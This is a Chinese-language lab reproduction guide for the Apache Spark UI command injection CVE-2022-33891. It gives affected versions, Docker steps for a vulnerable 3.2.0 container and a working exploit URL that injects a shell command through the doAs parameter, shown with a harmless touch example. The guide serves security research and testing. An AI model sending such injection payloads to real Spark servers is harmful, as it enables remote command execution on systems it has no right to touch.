漏洞概述
Apache Spark UI 提供了通过配置选项 spark.acls.enable 启用 ACL 的可能性。如果启用了 ACL,则 HttpSecurityFilter 中的代码路径可以允许攻击者通过提供任意用户名来执行模拟。因此,攻击者能够访问权限检查功能,该功能最终将根据攻击者的输入构建一个 Unix shell 命令并执行。成功利用此漏洞可导致任意 shell 命令执行。
|
安全版本 |
Apache Spark<= 3.0.3 |
Apache Spark>= 3.3.0 |
3.1.1≤ Apache Spark ≤ 3.1.2 |
Apache Spark>= 3.1.3 |
3.2.0≤ Apache Spark ≤3.2.1 |
Apache Spark>= 3.2.2 |
漏洞环境搭建
可通过docker进行环境搭建
在linux上执行
docker pull bitnami/spark:3.2.0-debian-10-r40
拉取漏洞环境
漏洞环境拉取后,执行
docker run -itd -p 8080:8080 -p 8888:8888 --rm bitnami/spark:3.2.0-debian-10-r40
后台运行漏洞环境
访问http://ip:8080端口,出现以下界面
再次执行
docker exec -it 容器ID /bin/bash
进入spark 容器
在容器中执行
spark-shell --conf spark.acls.enable=true --conf spark.ui.port=8888
启动配置
访问http://ip:8888,出现以下页面代表环境已部署成功
访问
http://ip:8888/jobs/?doAs=`expcmd`
例如
http://ip:8888/jobs/?doAs=`touch /tmp/test.txt`
docker容器中出现/tmp/test.txt代表漏洞利用成功
原文始发于微信公众号(第59号):Apache Spark 命令注入漏洞(CVE-2022-33891)复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论